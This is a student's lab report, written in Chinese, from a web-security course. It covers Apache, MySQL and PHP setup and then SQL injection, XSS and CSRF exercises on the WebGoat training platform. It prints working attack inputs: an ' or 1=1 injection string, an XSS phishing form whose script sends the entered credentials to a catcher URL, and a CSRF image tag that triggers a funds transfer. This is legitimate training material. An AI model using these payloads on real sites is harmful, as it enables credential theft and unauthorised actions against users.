《网络与系统攻防技术》实验八 Web安全
实验内容
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。
实验过程
知识链接:
(1)表单
表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含
了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐
藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮 和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处
理脚本的处理工作
(2)SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, 以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
(3)XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页, 使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
(4)CSRF攻击
CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事
(5)WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站 点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等
任务一 Web前端HTML
-
使用"/etc/init.d/apache2 start"命令,开启Apache服务
-
使用"/etc/init.d/apache2 status"命令,查看当前Apache的服务状态
-
启动Apache服务后,在浏览器输入本机的IP地址,如果可以打开Apache的默认网页,则证明服务开启成功
- 进入 /var/www/html路径(Apache目录),用vi命令新建一个表单的html文件 gkw_form. html,如下图所示
- 在浏览器输入file//var/www/html/simple_form.html,打开网页如下图所示,即为我们编写的html文件
任务二 Web前端javascipt
- 在原有的gkw_form.html的基础上,可以添加一段JavaScript代码,以完成对用户是否填写用户名和密码的判断。修改后的gkw_form_jsp.html,如下图所示
任务三 Web后端MySQL基础
- 下载安装并启动mysql
使用命令"apt-get install mariadb-server"(服务端)和 "apt-get install mariadb-client"(客户端)成功对其进行下载安装
-
启动mysql服务
使用命令"systemctl start mysql"打开mysql服务,再使用命令"systemctl status mysql"查看当前mysql服务的执行状态
-
使用命令"mysql",进入MariaDB命令行界面
-
使用命令"use mysql";(进入mysql数据库),然后使用命令"show databases";(查看现有的数据库)
-
输入命令"SET PASSWORD FOR 'root'@'localhost' = PASSWORD('gkw2412'); "修改root用户登录数据库mysql的登录密码
-
输入命令"mysql -u root -p"登录
-
输入命令"create database gkw;" 创建一个新的数据库
-
建表并插入数据
-
创建用户并赋予权限
-
新用户登录数据库
任务四 Web后端PHP
- 编写一个登录用的php文件login.php,在该代码里面使用了mysqli对数据库gkw进行了连接
- 打开网站,进行用户登录
-
最简单的SQL注入,XSS攻击测试,' or 1=1#
-
成功连接,进入数据库
-
将任意一张jpg格式的图片放在 /var/www/html 目录下,在用户名框输入如图所示
- 点击登录
任务五 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击
-
webgoat安装
-
sudo vim /etc/profile ,在结尾配置环境变量
-
进行相关配置
-
重新载入profile
-
java -jar webgoat-container-7.0.1-war-exec.jar 安装并运行Webgoat
-
输入"http://localhost:8080/WebGoat"进入WebGoat登录界面(下面两个账号可以挑一个登录)
-
SQL注入攻击
登录WebGoat,选择左边菜单栏的 Injection Flaws→Numeric SQL injection,右键点击 inspect Element 审查网页元素
-
在选中的Value值中添加 or 1=1
-
GO
-
在菜单栏中选择 Cross‐Site Scripting->Phishing with XSS
-
将下面这段代码输入到 "Search:" 输入框中,点击 search 、
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 "This feature requires account login:" 和用户名、密码输入框
-
在登录框中输入用户名、密码'20192412gkw 20192412'点击登录后,alert提示显示被窃取的用户名和密码
-
在菜单栏中选择 Cross‐Site Scripting ->Cross Site Request Forgery (CSRF),在message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
- 以图片的的形式将URL放进Message框,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交。提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。
问题及解决方案
问题:jdk环境装不上,一点下载就卡
解决方案:换寝室网,趁网络流量小的时候下载
问题:sql注入时失败
解决方案:少写了前面的',更正后成功
学习感悟、思考等
本次实验着重考察我们的综合能力,从简单的Web编程能力到前后端互联,再到XSS,SQL注入,CSRF,在学习和实验过程中,我的能力在不断的提高。在实验过程中我们使用到了包括PHP,js等多种语言,提高了我们的综合素质。对基本的攻击方法和防范都有了基本的认知,以后会加深对此的了解,不断提高自己的能力。